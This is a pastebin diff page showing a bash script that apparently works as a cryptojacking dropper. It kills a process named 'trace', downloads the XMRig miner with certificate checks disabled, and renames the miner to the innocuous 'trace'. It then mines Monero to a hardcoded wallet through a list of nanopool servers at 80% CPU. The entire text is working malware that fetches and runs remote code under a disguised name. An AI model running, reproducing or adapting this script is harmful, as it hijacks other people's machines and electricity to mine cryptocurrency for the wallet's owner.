View difference between Paste ID: 6LZEj72S and rsdzW7C7
SHOW: | | - or go back to the newest paste.
1
#!/bin/bash
2
3
if pgrep trace; then pkill trace; fi
4
5
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
6
hostHash=$(hostname -f | md5sum | cut -c1-8);
7
echo "${hostHash} - ${threadCount}";
8
9
rm -rf config.json;
10
11
d () {
12
	curl -L --insecure --connect-timeout 20 --max-time 400 --fail "$1" -o "$2" 2> /dev/null || wget --no-check-certificate --timeout 400 --tries 1 "$1" -O "$2" 2> /dev/null || _curl "$1" > "$2";
13
}
14
15
test ! -s trace && \
16
    d https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace.tgz && \
17
    tar -zxvf trace.tgz && \
18
    mv xmrig-5.0.0/xmrig trace && \
19
    rm -rf xmrig-5.0.0 && \
20
    rm -rf trace.tgz;
21
test ! -x trace && chmod +x trace;
22
23
k() {
24
    ./trace \
25
        -r 2 \
26
        -R 2 \
27
        --keepalive \
28
        --no-color \
29
        --donate-level 1 \
30
        --max-cpu-usage 80 \
31
        --cpu-priority 3 \
32
        --print-time 25 \
33
        --threads "${threadCount:-4}" \
34
        --url "$1" \
35
        --user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \
36
        --pass x \
37
        --coin xmr \
38
        --keepalive
39
}
40
41
k xmr-asia1.nanopool.org:14444 || k xmr-eu2.nanopool.org:14444 || k xmr-us-east1.nanopool.org:14444 || k xmr-us-west1.nanopool.org:14444 || k xmr-asia1.nanopool.org:14444 || k xmr-jp1.nanopool.org:14444